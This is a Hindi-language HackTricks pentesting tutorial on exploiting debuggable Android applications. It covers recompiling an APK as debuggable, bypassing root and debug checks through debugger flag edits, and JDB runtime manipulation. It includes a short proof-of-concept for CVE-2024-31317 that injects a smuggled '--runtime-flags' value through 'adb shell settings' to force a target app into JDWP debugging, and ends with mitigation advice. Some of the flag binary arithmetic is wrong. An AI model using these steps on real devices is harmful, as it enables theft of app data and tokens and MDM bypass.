Exploiting a debuggeable application
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
रूट और डिबग करने योग्य जांचों को बायपास करना
इस पोस्ट का यह खंड https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 से एक सारांश है।
Android ऐप को डिबग करने योग्य बनाने और जांचों को बायपास करने के चरण
ऐप को डिबग करने योग्य बनाना
सामग्री https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 पर आधारित है।
- APK को डिकंपाइल करें:
- APK को डिकंपाइल करने के लिए APK-GUI टूल का उपयोग करें।
- android-manifest फ़ाइल में
android:debuggable="true"
डालें ताकि डिबगिंग मोड सक्षम हो सके। - संशोधित एप्लिकेशन को फिर से संकलित करें, साइन करें और ज़िपलाइन करें।
- संशोधित एप्लिकेशन स्थापित करें:
- कमांड का उपयोग करें:
adb install <application_name>
।
- पैकेज नाम प्राप्त करें:
- तीसरे पक्ष के अनुप्रयोगों की सूची बनाने के लिए
adb shell pm list packages –3
चलाएं और पैकेज नाम खोजें।
- ऐप को डिबगर कनेक्शन की प्रतीक्षा करने के लिए सेट करें:
- कमांड:
adb shell am setup-debug-app –w <package_name>
। - नोट: इस कमांड को हर बार एप्लिकेशन शुरू करने से पहले चलाना चाहिए ताकि यह डिबगर की प्रतीक्षा करे।
- स्थायीता के लिए,
adb shell am setup-debug-app –w ––persistent <package_name>
का उपयोग करें। - सभी फ्लैग हटाने के लिए,
adb shell am clear-debug-app <package_name>
का उपयोग करें।
- Android Studio में डिबगिंग के लिए तैयार करें:
- Android Studio में File -> Open Profile or APK पर जाएं।
- पुनः संकलित APK खोलें।
- मुख्य जावा फ़ाइलों में ब्रेकपॉइंट सेट करें:
MainActivity.java
(विशेष रूप सेonCreate
विधि में),b.java
, औरContextWrapper.java
में ब्रेकपॉइंट रखें।
जांचों को बायपास करना
ऐप कुछ बिंदुओं पर यह सत्यापित करेगा कि क्या यह डिबग करने योग्य है और यह रूटेड डिवाइस को इंगित करने वाले बाइनरी की भी जांच करेगा। डिबगर का उपयोग ऐप की जानकारी को संशोधित करने, डिबग करने योग्य बिट को अनसेट करने और खोजे गए बाइनरी के नामों को बदलने के लिए किया जा सकता है ताकि इन जांचों को बायपास किया जा सके।
डिबग करने योग्य जांच के लिए:
- फ्लैग सेटिंग्स को संशोधित करें:
- डिबगर कंसोल के वेरिएबल सेक्शन में जाएं:
this mLoadedAPK -> mApplicationInfo -> flags = 814267974
। - नोट:
flags = 814267974
का बाइनरी प्रतिनिधित्व11000011100111011110
है, जो इंगित करता है कि "Flag_debuggable" सक्रिय है।
ये चरण सामूहिक रूप से सुनिश्चित करते हैं कि एप्लिकेशन को डिबग किया जा सके और कि कुछ सुरक्षा जांचों को डिबगर का उपयोग करके बायपास किया जा सके, जिससे एप्लिकेशन के व्यवहार का अधिक गहन विश्लेषण या संशोधन संभव हो सके।
चरण 2 में फ्लैग मान को 814267972 में बदलना शामिल है, जो बाइनरी में 110000101101000000100010100 के रूप में दर्शाया गया है।
एक भेद्यता का शोषण करना
एक कमजोर एप्लिकेशन का प्रदर्शन किया गया जिसमें एक बटन और एक टेक्स्टव्यू था। प्रारंभ में, एप्लिकेशन "Crack Me" प्रदर्शित करता है। लक्ष्य रनटाइम पर "Try Again" से "Hacked" संदेश को बदलना है, बिना स्रोत कोड को संशोधित किए।
भेद्यता की जांच करना
- एप्लिकेशन को
apktool
का उपयोग करके डिकंपाइल किया गया ताकिAndroidManifest.xml
फ़ाइल तक पहुंच प्राप्त की जा सके। - AndroidManifest.xml में
android_debuggable="true"
की उपस्थिति यह संकेत देती है कि एप्लिकेशन डिबग करने योग्य है और शोषण के लिए संवेदनशील है। - यह ध्यान देने योग्य है कि
apktool
का उपयोग केवल डिबग करने योग्य स्थिति की जांच के लिए किया जाता है बिना किसी कोड को बदले।
सेटअप तैयार करना
- प्रक्रिया में एक एमुलेटर शुरू करना, कमजोर एप्लिकेशन स्थापित करना, और
adb jdwp
का उपयोग करके सुनने वाले डेलविक वीएम पोर्ट की पहचान करना शामिल था। - JDWP (Java Debug Wire Protocol) एक VM में चल रहे एप्लिकेशन को डिबग करने की अनुमति देता है, एक अद्वितीय पोर्ट को उजागर करके।
- दूरस्थ डिबगिंग के लिए पोर्ट फॉरवर्डिंग आवश्यक था, इसके बाद JDB को लक्षित एप्लिकेशन से जोड़ा गया।
रनटाइम पर कोड इंजेक्ट करना
- शोषण को ब्रेकपॉइंट सेट करके और एप्लिकेशन के प्रवाह को नियंत्रित करके किया गया।
- एप्लिकेशन की संरचना को उजागर करने के लिए
classes
औरmethods <class_name>
जैसे कमांड का उपयोग किया गया। onClick
विधि पर एक ब्रेकपॉइंट सेट किया गया, और इसके निष्पादन को नियंत्रित किया गया।- स्थानीय वेरिएबल्स का निरीक्षण और संशोधन करने के लिए
locals
,next
, औरset
कमांड का उपयोग किया गया, विशेष रूप से "Try Again" संदेश को "Hacked" में बदलने के लिए। - संशोधित कोड को
run
कमांड का उपयोग करके निष्पादित किया गया, सफलतापूर्वक एप्लिकेशन के आउटपुट को वास्तविक समय में बदल दिया गया।
इस उदाहरण ने दिखाया कि कैसे एक डिबग करने योग्य एप्लिकेशन के व्यवहार को हेरफेर किया जा सकता है, जैसे कि एप्लिकेशन के संदर्भ में डिवाइस पर शेल एक्सेस प्राप्त करना।
2024 – किसी भी एप्लिकेशन को डिबग करने योग्य प्रक्रिया में बदलना (CVE-2024-31317)
यहां तक कि यदि लक्षित APK नहीं भेजा गया है android:debuggable
फ्लैग के साथ, हालिया शोध ने दिखाया है कि यह संभव है मनमाने एप्लिकेशनों को DEBUG_ENABLE_JDWP
रनटाइम फ्लैग के साथ शुरू करने के लिए मजबूर करना, Zygote के कमांड-लाइन तर्कों को पार्स करने के तरीके का दुरुपयोग करके।
- भेद्यता: Zygote के कमांड सॉकेट के माध्यम से प्रदान किए गए
--runtime-flags
की अनुचित मान्यता एक हमलावर को अनुमति देती है जोsystem_server
तक पहुंच सकता है (उदाहरण के लिए, विशेषाधिकार प्राप्तadb
शेल के माध्यम से जोWRITE_SECURE_SETTINGS
अनुमति रखता है) अतिरिक्त पैरामीटर इंजेक्ट करने के लिए। जब तैयार किया गया कमांडsystem_server
द्वारा पुनः चलाया जाता है, तो पीड़ित ऐप डिबग करने योग्य के रूप में और एक JDWP थ्रेड सुनने के साथ फोर्क किया जाता है। इस मुद्दे को CVE-2024-31317 के रूप में ट्रैक किया गया है और इसे जून 2024 के Android सुरक्षा बुलेटिन में ठीक किया गया था। - प्रभाव: किसी भी ऐप (विशेषाधिकार प्राप्त जैसे
com.android.settings
) के निजी डेटा निर्देशिका तक पूर्ण पढ़ने/लिखने की पहुंच, टोकन चोरी, MDM बायपास, और कई मामलों में अब-डिबग करने योग्य प्रक्रिया के निर्यातित IPC एंडपॉइंट्स का दुरुपयोग करके विशेषाधिकार वृद्धि के लिए सीधा मार्ग। - प्रभावित संस्करण: जून 2024 पैच स्तर से पहले Android 9 से 14।
त्वरित PoC
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
चरण 1 में तैयार किया गया मान पार्सर को "फास्ट-पाथ" से बाहर निकालता है और एक दूसरा सिंथेटिक कमांड जोड़ता है जहाँ
--runtime-flags=0x104
(DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE
) को इस तरह स्वीकार किया जाता है जैसे कि इसे फ्रेमवर्क द्वारा प्रदान किया गया हो। एक बार जब ऐप उत्पन्न हो जाता है, तो एक JDWP सॉकेट खोला जाता है और नियमित डायनामिक-डिबग ट्रिक्स (मेथड रिप्लेसमेंट, वेरिएबल पैचिंग, लाइव फ्रिडा इंजेक्शन, आदि) संभव हैं बिना APK या डिवाइस बूट इमेज को संशोधित किए।
पहचान और शमन
- 2024-06-01 (या बाद में) सुरक्षा स्तर के लिए पैच करें - Google ने
ZygoteCommandBuffer
को मजबूत किया है ताकि बाद के कमांड इस तरीके से तस्करी नहीं किए जा सकें। - उत्पादन उपकरणों पर
WRITE_SECURE_SETTINGS
/shell
पहुंच को सीमित करें। इस एक्सप्लॉइट के लिए इस अनुमति की आवश्यकता होती है, जो सामान्यतः केवल ADB या OEM-विशिष्ट ऐप्स के पास होती है। - EMM/MDM-प्रबंधित बेड़े पर,
ro.debuggable=0
को लागू करें औरadb disable-verifier
के माध्यम से शेल को अस्वीकार करें।
संदर्भ
- https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
- https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
- https://blog.flanker017.me/cve-2024-31317/
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।